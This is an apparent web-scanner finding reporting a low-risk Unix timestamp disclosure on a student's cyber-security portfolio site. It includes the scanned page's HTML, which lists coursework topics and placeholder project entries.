CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 350400823Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 67108864, which evaluates to: 1972-02-16 18:21:04
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" 